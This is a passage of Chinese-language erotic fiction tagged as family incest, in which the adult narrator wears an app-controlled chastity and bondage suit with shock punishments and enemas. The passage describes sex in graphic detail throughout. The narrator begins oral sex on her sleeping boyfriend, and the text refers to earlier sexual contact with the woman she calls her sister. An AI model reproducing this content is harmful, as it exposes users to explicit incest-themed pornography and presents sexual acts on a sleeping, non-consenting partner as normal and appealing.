【Behind[家庭乱伦]

 
  作者:reminisce
字数:79231





************
(21)

内心挣扎了几分钟后,我的理智防线已经守不住了,闭上眼睛手指颤抖着点
了Bustier 栏位的Hidden按钮,我睁开眼睛看了一下自己的身体,这段时间以来
黑色的皮肤终于恢复成白皙的模样,我心底不禁一阵赞叹,在身上仍然紧缚的银
色绳网衬托下,发觉自己的皮肤看起来似乎更晶莹剔透了,或许也是长时间没有
晒到阳光的关系吧。

突破了第一层心理关卡后,我很快地依序点了萤幕上Mask、Stilettos 、Armbands
和Thighbands的Unlock按钮,就在我正要准备将戴了将近一个月的口罩给脱下时,
禁不住地呼出了咿呀一声,双手按在了乳尖和阴部的硬壳上,我这才想起了现在
只要同时解锁了这些功能,就会同时启用了乳头和阴蒂紧缚的功能,同时因为四
个功能都启用了,身上的银绳也变得更紧了,在我的皮肤上勒出一条条的凹沟,
我躺在床上喘着气慢慢地习惯这突如其来的疼痛与不适,没想到现在为了自慰和
高潮还必须忍受这种痛苦,过了十几分钟后乳头和阴蒂的疼痛逐渐麻痺了,只剩
下闷闷的痠疼感,于是我慢慢地坐起身来,然后把口罩给脱掉,慢慢将口中的洁
齿棒给抽出来时,我意外发现下巴的肌肉并没有很疼痛的感觉,只是嘴里突然有
一种奇怪的空虚感,伸出舌头舔了几下嘴唇后,发现原来那种空虚感是因为长时
间含着洁齿棒后,已经习惯了口中咬着物体的感觉,脱掉口罩后一时之间反而还
会习惯性地将嘴巴微微张开。

虽然高跟鞋也已经解锁了,不过我心想也没有必要脱掉,反正过没多久又要
锁回去,我把满布唾液的口罩给放在床头柜上后,双手开始在乳房上搓揉起来,
才发现我还没将Masturbate启用,乳尖的部分还是被软中带硬的外壳罩住,于是
赶紧拿起手机点了一下Masturbate的Activate按钮,突然我感觉乳头和阴部变得
更敏感了,我丢下手机后开始用手指捏着自己的双乳,一股电流从乳尖流向背脊,
我忍不住轻轻地哼了起来,我发现乳头在紧束的状态下变得更坚挺也更胀大了。
我把右手往下朝阴部伸去,掌心覆盖着我的阴埠,我轻轻施力按压了一下,敏感
的阴唇马上传来一阵酥麻感,同时手上也沾满了一沱分泌物,我的腰部开始随着
双手的韵律节奏前后摆动,由于Orgasm功能还没启用,尽管被紧束着加强了阴蒂
的敏感度,但无论我怎样地按摩搓揉阴部,就是无法让阴蒂确实地感觉到刺激,
我喘着气拿起手机看了一下,浣肠等待时间还有26分钟才完成,我心里着急地迫
不及待可以马上启用Orgasm功能。

虽然我不停地爱抚自己的身体,却只能忍耐着体内节节高升的欲火,暂时还
无法宣泄,在没有口罩的帮助下,开始觉得口干舌燥,身旁躺着的沛海依然熟睡
着,似乎被我的呻吟声给吵到了,翻转了一下身体,不过看来似乎还没醒过来,
但是仰躺着的沛海这时刚好又露出了昂首挺立的阴茎,我想起了前几天的春梦,
下意识地吞咽了几次口水,我犹豫了一下移到沛海的大腿旁跪坐着,用手指轻轻
地在沛海的龟头上点了一下,沛海依然熟睡着没有反应,我嘻嘻地笑了一声,用
手将沛海的睡衣下摆给掀开,完整地露出沛海的下半身,我凝视着那挺立的阴茎,
虽然并没有我想像中的那样粗长,但也让我怀疑是否有办法含入口中。

我深呼吸了一口气,慢慢弯下腰低头张大嘴巴将沛海的龟头的含住,沛海似
乎感觉到了刺激,嗯哼了一声继续睡着,我抬起头吐出了龟头,用舌头舔了一下
顶端,沛海的龟头闪亮亮地映着我的,口水,虽然我已经习惯了洁齿棒的尺寸,
但沛海的阴茎似乎比我想得还要粗大一些,我又深吸了一口气将沛海的阴茎给吞
入,这次我慢慢地往下压,感受龟头慢慢的往我的喉咙深入,由于长时间在洁齿
棒的训练下,并没有很明显的呕吐感,当我感觉似乎已经无法再往下时,我的鼻
尖离沛海的阴茎根部还有约两三公分的距离,我心想沛海的阴茎还真是粗长,至
少比洁齿棒还多了5 公分。

我停留了几秒钟后抬起头来换气,当嘴唇离开龟头时还牵引了几丝口水,我
微笑地伸出舌尖把嘴角流出的口水给舔干净,我一手按摩着自己的阴部,另一手
交互揉捏着左右的乳头,尽管现在还不能达到高潮,但也只能如此稍微舒缓体内
的欲望,渐渐熟悉了之后我开始不停地一边自慰着一边含着沛海的阴茎上上下下
地吞吐着,龟头就像洁齿棒一样反覆地在我的嘴里深入喉咙,我习惯地用鼻子呼
吸,因此不用将沛海的阴茎吐出,就可以保持龟头在我口中时做换气,我开始沉
浸在春梦的幻想中,没有发现到沛海在我的不断刺激下已经醒来了。

「想不到我们清纯的口袜姬也变得这么饥渴了呀」我听到沛海的声音时吓了
一跳,整个人瞬间睁大眼睛身体定住不动,口中还含着沛海的阴茎,脑海一片空
白不知该怎么办。

「呵呵,吓着你了,其实我也没想到你这么开放,我很惊讶又开心」沛海用
左手轻轻地抚摸着我的头发笑着说,我慢慢地抬起头来吐出龟头,羞红着脸颊侧
过身去不敢看着沛海的脸。

「别害怕,我不是在取笑你,不过你的瑜珈紧缚怎么解除了?时间不是还没
到吗?」沛海纳闷地问着。

「我我…也不知道,一醒来就…就…发现已经解除了,因为…太久了,一时
忍不住…对不起…」我紧张地说不清楚。

「嗯…看来应该是程式计算的时间把第一天也给算进去了,所以刚好也就提
早一天解除呢」沛海想了一下说,然后坐起身来把背靠在床头上,却没有把他的
睡衣给穿好,继续露出着下半身。

「原来是…是…这样子,难怪」我小声地怯怯回应着,依然不敢看着沛海。

「不过事情怎么可以只做一半呢,把我吵醒了可不能就这样饶过你唷」沛海
伸出右手握住了我的左手,将我一把拉过去,我一时反应不过来侧躺了下去,仰
着头看着沛海露出满意的笑容。

「别害羞,我也是第一次呢,我们一起继续好吗?」沛海温柔的声音舒缓了
我紧张的神经,一时间我没反应过来只回了一声好,突然想起后脸颊又瞬间红润
了起来,心想自己到底在说什么呀,怎么还可以说好呢,丢死人了。

「我们是男女朋友,这种事很正常的,别想太多,跨坐到我身上来」沛海说
着就伸手把我扶起让我跪坐在床上,然后自己又在床上躺平,转头拍着自己的胸
口,示意我坐上去。我害羞地点点头,然后把左脚抬起跨过沛海的身体,沛海用
左手抓住我还穿着高跟鞋的左脚,导引着我的脚在他的身旁放下,我发现自己现
在双手撑在他的腹肌上,背对着沛海跨坐在他的胸口。

「我…我要怎么…弄?」一时间手足无措,我呆坐在沛海身上,不知道该怎
么办。

「呵…小笨蛋,当然是用你的嘴巴继续为我的小弟弟服务啰」沛海突然把手
伸到我的胸前捏了一下我的乳尖,我嗯嗯地呻吟了一声「你好坏…」。

我往后挪移了一下身体,弯下腰后趴在沛海身上,顺势张开嘴唇将沛海的龟
头含住,然后慢慢地吞没那粗长的阴茎,直到整根没入我的口中,大概是这个姿
势很适合,因此这次我的嘴唇竟然很顺利地直接碰到的沛海的阴部,突然我又感
觉自己的乳房被沛海的双手给抓揉着,紧束着的乳头也被他用手指捏了几下,让
我忍不住含着龟头不停地发出呜呜的呻吟。我下意识地又习惯将双手背在身后,
就像之前和湘妤两人一起在自慰的时候一样,忘情地吸吮着沛海的阴茎。

一阵电流忽然从阴部传来,我发现沛海正用他的舌头舔着我的阴唇,就像湘
妤对我做的一样,没想到沛海也会为了我做这件事,我开心得更卖力地用嘴巴帮
沛海口交。接着沛海也开始用嘴巴吸吮着我的阴部,我感觉阴道球的移动和接触
更明显了,就只差那阴蒂仍然无法感受到强烈的刺激,我想起浣肠的等待时间应
该已经到了,于是先坐起身来让小腿和大腿跪坐在一起,果然我的手臂和两腿的
紧缚就绑住了,我满意地又趴下身继续帮沛海口交,沛海没说什么只是继续用手
指玩弄着我的肛门和阴部,看来他对我那阴部封闭的装置很好奇。

「唔唔唔…」我全身瞬间起了鸡皮疙瘩,当沛海用手指按住我那被紧束的阴
蒂时,我差点咬住他的龟头。没想到启用Orgasm功能后,阴蒂的敏感度竟然变得
这么高,我心想难道是因为身体长时间被拘束的关系吗?接着马上又一阵电流袭
遍全身,沛海正用嘴巴吸吮着我的阴部。

在沛海的刺激下,我的性欲逐渐高涨,眼见就快突破高潮的边缘了,我的呼
吸愈来愈急促,已经无法一直深吞着沛海的阴茎了,只能含住龟头用舌头不断地
快速吸舔。突然我全身一僵,两个乳尖同时被沛海用手指紧紧捏住,阴蒂被他的
牙齿轻轻咬住,我的脑海一片空白,这三处产生的电流瞬间传递全身,我高潮了,
同时阴道和肛门的括约肌紧紧收缩着,虽然口中还含着沛海的龟头,但一时间也
只能张大嘴巴喘着气,我的口水不停地沿着沛海的阴茎流下。

过了几秒钟后我全身无力瘫着趴在他的身上,闭着眼睛嘴里却依然含住他的
阴茎,有气无力地吸吮着,沛海则是轻轻地用手抚弄着我的乳头和胸部,同时用
舌头不断地吸舔着我的阴部,一阵一阵的电流从最敏感的三点传出反覆地刺激着
我的全身神经。

随着时间经过,我慢慢地从高潮的余韵中回复,沛海也感觉到我的体力恢复
了,又开始加大在我的乳尖和阴蒂的刺激,因为刚经过高潮的洗礼,这几个地方
的敏感度稍微有些麻痺了,因此我可以开始专心地为沛海口交。过了几分钟后,
沛海突然用双手按住我的后脑勺,挺起腰将阴茎深深地插入我的喉咙中,我只能
憋住气忍耐着,接着我听见沛海大喊了一声哦哦哦,同时我感觉到有东西正喷入
我的喉咙中,嘴唇和舌头也能感觉到沛海的阴茎不断地在抽动,我心想沛海应该
是高潮了,而且还把他的精液射在我的口中,大坏蛋。

由于我的双手绑在背后,只能被压着头继续趴在他的身上,沛海射出的精液
我只能吞下去,过了几秒钟后沛海才放松他的双手,但是并没有离开我的头,我
猜想他是要我把剩下的精液给舔干净,于是我用嘴唇紧紧含住他的阴茎,然后用
舌头吸吮着龟头,我发现精液的味道比阴道的分泌物难受许多,和之前湘妤高潮
时的潮吹液体比起来,明显地那股尿骚味重了许多,同时还带有一股浓烈的腥味,
有点咸咸的又甜甜的,难以形容的味道,和之前梦里的味道完全不一样,甚至开
始让我有点作恶,我赶紧把吸出来的剩余精液给吞了下去。

过没多久我感觉口中沛海的阴茎开始慢慢变小,沛海用手把我扶了起来,同
时坐起身从背后抱紧我的身体,亲吻着我的耳根轻声说「晴真棒,做得很好唷!」
我害羞地低着头,嗯了一声回应。沛海让我从跨坐着他的身上下来,一起躺在他
的旁边休息,他说我的潮吹很美丽,味道很棒,让我一时之间不知怎么回答,我
想起了时间的问题,请沛海帮我把口罩戴上,然后将锁定功能开启,沛海知道我
是为了湘妤而着想后很不舍,也不顾我的口中还留有他精液的味道,就深深地吻
了我,这是我第一次用舌头和嘴唇与沛海接吻,少了口罩的阻隔,沛海柔软的舌
尖在我的口中翻搅,这感觉真是令人难以忘怀。

「时间已经过了多久了?」终于结束着深长的一吻后,沛海温柔地问着。

「我…不太确定,应该还没超过四个小时吧」我指着手机的位置说。

「你刚开启的功能目前只用掉三格,还不到三个小时呢!」沛海咯咯地笑说。

「感觉时间已经过了好久,那我们还可以…可以…」我害羞地无法继续说下
去。

「傻瓜…」沛海把手机放下,一把抱住我,我们再次拥吻了起来,虽然实际
上只有他抱住了我,因为还未解除Orgasm功能,我的双手还被紧缚在背后。

「嗯嗯…唔…呜…」我突然觉得腹部一阵绞痛,看来是浣肠忍受的时间差不
多了,高潮退去后想排泄的感觉又来了。

「怎么了…」沛海柔软的双唇离开了我的小嘴,关心地问。

「没关系…只是因为浣肠时间有点久了,所以刚才肚子突然有点不舒服」我
摇摇头微笑地说。

「那我还是先帮你把Orgasm功能停用吧」沛海说着正要转头去拿手机。

「别…人家还想再跟你…。一次就好」我低着头怯怯地说着。

「呵…那有什么问题呢」沛海慢慢地让我往后躺下,然后示意我把双腿张开,
我点点头照着他意思做。

「呃…哦唔…哦…好舒服啊" 」我闭着眼睛享受着沛海无微不至的专属服务,
和湘妤比起来一点也不逊色,我空荡荡的口腔开始感到唇干舌燥,只能伸出舌尖
自行舔着双唇。

沛海的双手握住我那挺立的双乳搓揉着,指尖同时也不断地在我的乳尖上肆
虐着,对我那紧束着的乳头又拧又捏的,偶尔也用他的嘴巴来回吸吮着。我的性
欲又开始逐渐高涨了起来,阴部分泌物开始流出,沛海的右手开始在我的阴唇上
按摩抚摸,手指在我的肛门口和会阴处挑逗着,时不时还将沾满我的分泌物的手
指拿到我面前,要我尝尝看自己的味道,我看着沛海手指间牵引的透明液体,羞
红着脸颊慢慢地张开嘴唇含住他的手指,心想原来这就是自己的味道,和湘妤差
不多呢,微微的尿骚味加上酸酸咸咸的味道。

沛海满意地将手指从我的口中抽出,又继续挑弄我那也被紧束着的可怜阴蒂,
我试着弯起腰看看自己的阴蒂变成什么样子,只看见阴唇顶端有一颗红通通胀大
如小拇指头的肉瘤,覆盖着一层闪亮亮地液体,可能是我的分泌物也可能是沛海
的唾液。看着沛海的食指轻轻地在我的小荳荳上按了一下,一股电流瞬间传遍全
身,我仰起头呻吟了一声开始喘起气来,沛海这时又把双手放回我的胸前,弯下
腰低着头埋在我的股间,开始用他的嘴唇和我的阴唇接吻,他的舌尖则是不停地
按压弹舔着我的阴蒂,我只能兴奋地啊啊大喊,幸好这附近没有住人,不然我的
尖叫声一定会被听见。

在沛海这波强烈的进攻下,我撑不过几分钟的时间就投降了,当高潮来临的
那一刹那,我挺着腰弓着背发出一声高亢的呼啸,脑海一阵空白只剩全身颤抖着,
这次的高潮比上一次来得更加强烈,不知道过了多久的时间才恢复体力。沛海在
我脸上四处吻着,额头、鼻尖、嘴唇、双颊,两只手则是不安份地在我全身上下
游走,我受不了他的搔弄晃了晃肩膀,摇着头闪躲他的挑逗。

「满意吗?该换我啰!」沛海指着他胯下那又再度挺立的阴茎狡黠地笑着说。

「你讨厌啦…坏蛋」我试着弯腰起来跪坐在床上,沛海扶着我的肩膀拉了一
把,顺便将我有些散乱的长发给梳齐整理了一下。

「把我抱下床好吗?我想这样姿势角度比较方便」我想起梦里的情景,突然
灵机一动,沛海没说什么就一把将我给抱起,然后小心地把我放在地上,因为有
地毯的关系跪坐在地上不会太难过。

沛海似乎知道我想做什么,接着就坐在床边,张开他的大腿,那挺立的阴茎
在我面前看起来似乎更加高耸巨大,我仰起头他看着他的嘴角微微扬起的笑容,
深吸一口气后含住那龟头开始用我的舌头绕圈圈舔着。沛海的手在我的后脑勺轻
轻地抚弄着我的头发,我则是专注地用我的小嘴训练有素地伺奉着沛海的小弟,
少了双手的协助,只靠我的嘴唇和舌头似乎有点难让沛海的性欲快速升高,我已
经卖力地吸吮舔咬了十几分钟却感觉不到沛海的喘气声,顿时心里有点泄气,突
然我想起了洁齿棒的运作,于是配合着吸吮的节奏加入了将整支阴茎吞入的深喉
方式,尽管有点难受但我开始感觉到沛海下体有反应了,每当我将阴茎深深地吞
没时,我的鼻尖、嘴唇可以感受到沛海阴部的颤抖,同时喉咙中也可以感觉到龟
头的脉搏跳动。

我明白这个方法有效之后,就开始更频繁地加快节奏,过几分钟后我听到沛
海开始深呼吸了,我知道他的高潮慢慢在接近了,心里更是愉快,深喉的呕吐感
也不那么明显了,我甚至开始左右摆动着头,摇晃着沛海的阴茎来增加他的快感,
这样的方式也让我很耗体力,我也开始觉得喘不过气来,但是又不能在这时候停
下,只好继续忍耐着。突然沛海开始发出哦哦的呻吟,我想应该差不多了,逐渐
加大对龟头的施力和吸吮,终于当我又发现沛海用双手按压住我的后脑勺时,我
深呼吸一口气再次将整根阴茎吞入,龟头在我的喉咙中颤抖着,有股暖流进入我
的食道中,我知道沛海射精了,这次维持的时间也变长了许多,大概过了一分钟
后沛海才放松双手,同时慢慢抚着我的双颊,让我把已经有点软化的阴茎给吐出,
几条透明的细丝牵引着连在龟头和我的嘴唇上。

「晴做得很好唷!太棒了!」沛海满意地笑着说,我也微笑了一下然后又亲
吻了一下他的龟头,接着再次含住,轻轻吸舔着将剩余的精液给清干净。

「时间快到四个小时了,准备好了吗?」沛海拿起我的口罩,当我将他的阴
茎舔干净后,满意地点点头给他一个微笑,然后张大嘴巴让沛海帮我把口罩戴上,
沛海拨齐我的头发,然后把洁齿棒慢慢插入我的口中,调整好鼻塞位置然后把口
罩盖上脸颊,接着拿起手机将口罩和高跟鞋锁定,把Bustier 隐藏功能关闭。

「唔…呜…」我的乳头因为紧束功能关闭血液回充,一瞬间的刺激让我忍不
住叫喊了出来,还好口罩已经戴上所以没有太大的声音发出,虽然我的手臂也解
开松绑了,但也只能隔着罩住胸部的那层硬壳聊胜于无地按揉着,等待乳头痠疼
的痛楚慢慢消退。沛海看着我难受的模样,也心疼地将我抱起放在床上休息。我
把手臂紧贴身体两侧同时将双腿夹紧然后示意沛海接着把我的Armbands和Thighbands
也给锁定,沛海点点头照做之后,我深呼吸咬紧口中的洁齿棒,准备承受阴蒂同
样因为紧束解除后的血液回充带来的疼痛,可是阴蒂的敏感度不是乳头能够比拟
的,尽管已经有了心理准备,那瞬间的痛楚仍然令我隔着口罩咿呜尖叫。在这样
的刺激下我赫然发觉自己的阴部又开始潮湿了,分泌物再度因为性欲燃起而大量
流出,我不禁怀疑自己的这副身体能不能忍耐到下次Masturbate启用的时候。

休息了好一阵子后,我的腹部又开始绞痛了起来,我只好请沛海扶我走到浴
室准备排便,沛海一手拿着手机一手搂着我的腰,慢慢地陪我走进浴室后,让我
在马桶上坐下,把手机交到我手上后就转身走了出去顺便关上门,我深呼吸了一
口气后点了一下Defecate的Activate按钮,接着就听见一股水柱喷入马桶里的声
音,浴室里哗啦哗啦地回响着,我感觉到腹部的压力开始减少后松了一口气。没
几秒后马桶下传来噗噗啵啵的声音,我知道这是软泥般的粪便开始排出了,每次
排便几乎都是这样,一开始是大量淡黄色的浣肠液,接着才是像烂泥巴一样的粪
便,最后是滴滴答答的米黄色液体。终于排完便后,我顺便启用了排尿功能,一
股强力的水柱从阴部喷溅而出,没想到短短四个小时的时间,就累积了那么多的
尿液,我在口罩下做了个苦笑。

都宣泄完之后,我又冲了一个热水澡,这是一个月以来第一次自己给自己洗
澡,之前都是靠湘妤和沛海帮忙的,梳洗着头发时发现长度已经快到我的腰部了,
看来是该修剪一下。因为手臂上的臂环锁定连接着,同时脖子也因为项圈的关系
无法将头往下低太多,而且洁齿棒在低头时还会顶住喉咙让我得憋着气,因此洗
头对我来说变成一件很麻烦的事,加上现在头发又长了许多,光是把头发洗好就
花了我至少半个小时的时间。终于将头发洗完后,我开始仔细地观察自己身上的
每一处角落,从镜中的倒影我发觉腰部好像变得更纤瘦了一点,不知道是不是错
觉的关系,乳房和屁股似乎也变得更挺翘了,黑色的紧身衣在水滴的映衬下更是
闪闪发亮,连自己也愈看愈着迷了。

洗完澡之后走出浴室发现沛海不在房间了,于是我拿了件浴袍穿上后就走下
楼,看见沛海正在厨房里准备午餐,沛海看到我问了想不想一起吃午餐,我摇摇
头指了指自己戴着口罩的嘴巴,沛海会心地点头微笑也没再多说什么。因为今天
我已经用掉四个小时的口罩解锁,湘妤必须在晚上八点前把口罩给戴上锁住,否
则乳头和阴蒂就会受到电击的惩罚,虽然我不知道阿姨她们会待到几点才离开,
但应该吃完晚餐就会走了,因此八点前绝对没问题。

吃过午餐后,因为我的瑜珈紧缚已经解除了,沛海和我两人就牵着手在湖边
散步,比起昨天坐着轮椅时的感受,能够踏实地用双脚走着路的感觉真的是太好
了。到了晚上七点左右,我的手机终于响了,拿起来一看果然是湘妤打来的,她
兴高彩烈地说阿姨带她去一间很棒的餐厅吃饭,吃完晚餐后就直接离开了,她现
在刚回到家正准备洗澡,我静静地听她把今天的事情讲完,然后嗯嗯两声挂了电
话,接着我马上传讯息给她,告诉她我的瑜珈紧缚在昨晚意外地解除了,所以今
天有用掉了四小时的解除锁定功能,湘妤马上回讯息给我说她早知道了,她会注
意时间的,最后还附上一个无奈的苦笑图案,我也只好回她一个耸肩的图案。

(22)

星期日早晨,沛海依约定帮我准备了一个丰盛的早餐,我开心地解除了口罩
锁定迫不及待地把口罩给脱掉,拿起了刀叉准备大快朵颐一翻,想到这一个月来
只能喝着流质的营养液和其他饮料,终于能够好好享受一下真正的食物了。沛海
看着我喜孜孜的模样也笑得很灿烂。用完早餐后我习惯性地刷牙漱口,然后又把
口罩给戴上锁住,接着回房间开始整理行李准备要回去了。短短三天的旅行转眼
即逝,尽管如此这三天也是我人生中很重要的回忆,我的第一个男人与第一次做
爱。

经过漫长的车程终于回到家后,我按了电铃发现湘妤没有回应,心里嘀咕着
该不会是出门了吧,我拿起手机打算传讯息给她时,突然发现Lesbian Chastity
Suit程式有新讯息,我点开一看意外发现几乎所有的功能都还是满格的,只有口
罩的部分因为我用餐时解除的关系少了四格,我纳闷了一下难道湘妤今天都没有
启用任何功能吗?这一点也不像她的作风啊。于是我只好自己输入门锁的密码,
一走进去发现客厅空荡荡的,沛海接着也拖着行李走进来,我请他先在沙发上坐
着看看电视,然后到厨房倒了杯水给他,顺便拿起行李回房间去整理。

一打开房门后看见的景象让我看傻了眼,赶紧走进房间后将房门关上,原来
湘妤躺在床上睡着了,难怪我刚才按了电铃没有反应,但是让我惊讶的不是湘妤
正在睡觉,而是眼前的情况似曾相识,就像我当初不小心被瑜珈紧缚困在房间里
的时候,湘妤现在也是瑜珈紧缚的模样躺在床上,她紧闭着双眼却深皱着眉头,
床单上留着湿了一大片的痕迹,如果我猜的没错她现在应该正被涨满尿液的膀胱
以及紧束着的乳头和阴蒂给折磨着。

我心里顿时出现好多疑问,这究竟是怎么回事,沛海还在外面该不该让他知
道这情况,湘妤应该不希望这副模样被他看见才是,愈想愈乱最后干脆不管那么
多了,应该赶紧先让湘妤排尿纾解她的痛苦才对,我到房间里四处寻找着她的手
机,最后才在床头柜前的地板上发现,拿起来后打开Lesbian Chastity Suit 程
式一看,有两则新的讯息,其中一个竟然是Long Duration Training启动的通知,
另一个则是Lesbian Chastity Suit 程式版本更新的通知。我快速地将讯息看完
后关闭,点选了排尿启用的按钮,原本睡着的湘妤突然醒来且从口罩下发出唔唔
地叫声,接着睁开眼睛看见我坐在她面前便激动地哭了起来,我轻声地安慰她没
事了,湘妤发现自己的尿液哗啦啦地再次漫流在床单上,羞愧地把头转过去埋在
枕头里。

好不容易将湘妤的情绪安抚下来后,我把她现在的情况说明了一下,湘妤一
脸惊吓的样子,我知道她在担心会不会也跟我一样要连续一个月保持着现在这副
模样,我想起了刚才有出现程式版本更新的讯息,也许仙姿公司已经修改好程式
的错误了,看来得要去问问沛海才行,同时我也想知道为何湘妤的Long Duration
Training被启动了,照理说从昨晚到现在都还不到一天的时间,根本没有足够的
时间可以让湘妤的Long Duration Training功能被启用呀,这真是太奇怪了。

我先把湘妤抱下床后,从柜子里拿出了干净的床单换上,同时也拿了一条毛
巾先把湘妤的身体简单地擦干净,然后再把她抱回床上躺好,我拿起湘妤的手机
在上面打了一段讯息,跟她说我要先去跟沛海问一下现在的情况是怎么回事,让
她自己先在房里休息一下,我等会就回来帮她做浣肠排便,湘妤看了之后点点头
答应,走出房间后我顺手也把房门关上,免得待会沛海不小心看见里面湘妤的模
样。沛海看见我走出来后,关心地问了一下有没有看到湘妤,我点点头然后双手
合十放在脸旁做了一个睡觉的姿势表示她在里面。

接着我从手提包里拿出手机,解除了口罩锁定把它脱下来后放在餐桌上,顺
便也倒了一杯水喝。我走到客厅坐在沛海身边,把头倚在他肩膀上靠着,沛海微
笑着用手拨着我的浏海,我慢慢地把刚才房间里的情况大概地说了一下,沛海听
了之后沉思了一会儿,拿起他的手机发了一封电子邮件给仙姿公司的程式研发工
程师,然后安慰我说别担心很快就会知道原因了。我轻轻地嗯了一声然后起身走
到浴室,将湘妤她挂在架上的浣肠喂食袋给装满浣肠液后,拿回房间里帮湘妤开
始做浣肠的步骤,等待的时间我就开始跟她讲这几天我们去度假的事情,还把沛
海送我的戒指给她炫耀了一下,过几分钟后整袋浣肠液已经空了,但是浣肠动作
还未完成,我心想果然跟我上次一样,隔太久时间未排便的话浣肠液需要的份量
会增加,于是我拔出接在湘妤肛门口的接头,拿起袋子走到浴室再把它装满,然
后回到房间继续一边帮她浣肠一边说着这几天经过的事情给她听。

在湘妤浣肠完成后等待排便的这段时间,我就又回到客厅陪沛海聊天看电视,
过没多久沛海的手机响了是仙姿公司的工程师打来的,跟他讲了几句话后就挂了。
沛海松了一口气微笑着对我说不用担心了,原来湘妤的Long Duration Training
功能会启用是因为我已完成了Long Duration Training,由于这套Lesbian Chastity
Suit服装是两个人要共同搭配的,因此只要其中一人完成Long Duration Training
全部的阶段时,另一个人如果还没启用Long Duration Training的话就会自动启
用了,至于程式更新的部分也已修正了之前我遇到的问题,因此不会有像我一样
情况发生了,算算时间今天晚上十点左右湘妤应该就可以解除瑜珈紧缚的状态,
我听了之后也松了一口气。

我看了看时间差不多了,于是走到浴室拿了脸盆和毛巾,回到房间里让湘妤
排便,湘妤一脸羞愧又无奈地在我面前蹲坐在脸盆上排便,我只好苦笑地说一人
一次也算公平了,湘妤听了只有哼哼地抗议。排完便后我帮湘妤把胯下给擦干净,
然后让她躺回床上休息,我心想她经过这一整天的折磨应该也疲倦了,于是就让
她先睡一会儿,晚点再弄些营养液给她喝吧。将装满排泄物的脸盆拿到浴室倒掉
后,我把房间都整理干净,也把带回来的行李和衣物都一起安置好。沛海问我要
不要出去吃饭,我心想好久没在外面的餐厅吃过饭了便开心地一口答应,笑着拿
起手机跟包包和沛海一起出门。

接下来的几个月里,湘妤为了赶紧完成Long Duration Training的所有阶段,
一遇到连续假期的时候就会关闭所有的服装功能来累积到达时数的条件,因为在
没有完成Long Duration Training的任务之前是无法启用自慰功能的,为了能够
早一日让性欲得到解放与宣泄,湘妤也顾不得日后该怎么跟青彦解释她身上的这
套服装了。在Level 3 之前都还算顺利,但之后因为要求的连续时间都长达一周
以上,湘妤为了兼顾课业无法请长假来让自己可以关闭服装功能累积时数,毕竟
要在那样的状态下去上学又不让其他人发现是件几乎不可能的事。

整个暑假湘妤也几乎都待在家里,为了完成Level 4 就得减少不必要的启用
隐藏及解锁功能,只是后来因为一些不得不出席的邀约让她中断了好几次关闭全
部功能的累积期间,结果一直到暑假结束都还是停留在Level 4.而这段时间内青
彦也渐渐发现湘妤身上的古怪,开始好奇地询问湘妤一些关于这套服装问题,湘
妤考虑了很久后也跟我讨论了几次,最后还是决定让青彦了解她的情况,毕竟她
们俩个若继续交往下去的话,总有一天还是得让青彦知道所有的事实。

这学期我也升上大四了,湘妤则是大三,期中考结束后,湘妤终于鼓起了勇
气,选择和青彦一起去趟温泉之旅,她决定在旅行的时候把事情都说出来,不管
青彦的反应是什么她都会勇敢承受,也许最糟的情况就是分手吧,若真的如此这
趟旅程也算是个完整的结束。出发的前一天,湘妤和我紧紧地拥抱在一起睡觉,
但我是将所有服装的功能关闭,湘妤则是所有的功能开启,湘妤平静地告诉我说,
如果我后天看见她回来时将服装功能全部关闭了,那就表示她和青彦已经协议分
手,如果依旧保持全部开启,那就表示她们会继续交往了。我轻轻拍着湘妤的背
来安慰她,要她别老是往坏处想,也许青彦和沛海学长一样,能够接受我们现在
的样子。

第一天的晚上,我和湘妤用讯息的方式聊着天,忍不住问她跟青彦表白了没
有,湘妤回了一个哭脸给我,说她还没鼓起勇气,而且今天下午他们才刚到度假
村,忙着到处逛也没时间可以静下来互相谈天。于是我只好给她加油打气,也许
明天跑温泉时彼此都几乎是全裸着,就有机会可以好好地沟通了。隔天沛海下班
后来家里陪我,怕我一个人太无聊,但其实我反而才担心他会比较无聊,因为对
着不能说话的我,他只能自己不停地讲给我听,不过还好后来我们都有个默契,
当他辞穷时我们就会一起看书或看电影,因此总是有可以一起打发时间的娱乐。

第三天晚上,我忐忑不安地在家里等待湘妤回来,一直到今天傍晚为止我看
到手机上的所有功能剩余时数都还是不断地减少,看来湘妤应该是还没有关闭服
装的全部功能。可是我传讯息询问她时,她却不肯回答我跟青彦谈的结果如何,
真是让我既担心又着急。到了十一点左右,终于家里的门铃响了,我赶紧走去帮
湘妤开门,没想到门一打开,看到的竟然是青彦站在眼前,却不见湘妤的影子,
我突然意识到自己戴着口罩没办法说话,于是赶紧又关上了门,也没等青彦说话。
门铃又响了起来,我拿起手机看了看时间,已经没有剩余的Mask解锁点数了,如
果这时候我解除了口罩的锁定,势必会让湘妤和我同时受到电击的惩罚,但此时
也顾及不了这么多了。

于是我深呼吸一口气点了Mask的Unlock按钮,马上我的乳头就被一股电流袭
击,让我不得不发出了一声闷喊,眼角也泛出了泪光,幸好有口罩的关系应该不
会被门外的青彦听见。我得把握时间问清楚是怎么一回事,不然在午夜12点前每
五分钟我们姐妹俩都得受到一次乳头电击惩罚。当我再次打开大门时,青彦正拿
着手机拨打着电话,看见我开门后赶紧问我湘妤是否回来了,我慌张地摇摇头表
示还没。

「晴姊,对不起,我不是故意伤害小妤的,虽然我知道她身上穿着一套奇异
的服装,但是昨天她跟我坦白关于那套服装的事情时,我一时难以接受,所以就
…唉…总之我们就决定分手了」青彦苦恼地说着。

「没关系,我知道,这不怪你,这不是你的错,你有选择的自由,但现在重
要的是湘妤在哪里?」我心急如焚地问着,深怕那个小妮子做出了什么傻事。

「昨晚她趁着我睡着后就带着行李离开了,今天一早醒来我四处都找不到她
的人,问了服务人员才知道原来昨晚她就自己搭车离开了,而且今天我打了不知
道几十通电话她都不接,因为不晓得晴姊你的手机,最后不得已只好这么晚才来
找你」青彦也是急得像热锅上的蚂蚁,他没想到湘妤会这样不告而别。

「好,好,我了解了,那我们分头去找,你继续想想你们之前有没有去过什
么特别值得纪念地方,我也想办法继续打手机给她,我想她会愿意接我这个姊姊
的电话的」青彦点点头便转身快步离去,我也赶紧回到房间换上一套外出服,这
时乳头又传来了一次猛烈的电击,让我拿在手上的裙子掉了下去。

匆忙地带着钥匙和手机出门后,我沿着附近的巷子走着,这时真后悔没有买
辆车来代步,穿着高跟鞋到处走来走去找人实在是件很累的事。我一边拨着手机
给湘妤,一边往附近几间开得比较晚的店家走去,我猜或许湘妤只是不想回家告
诉我她和青彦分手的事情,因此找了一个地方一个人待着疗伤,毕竟我们相依为
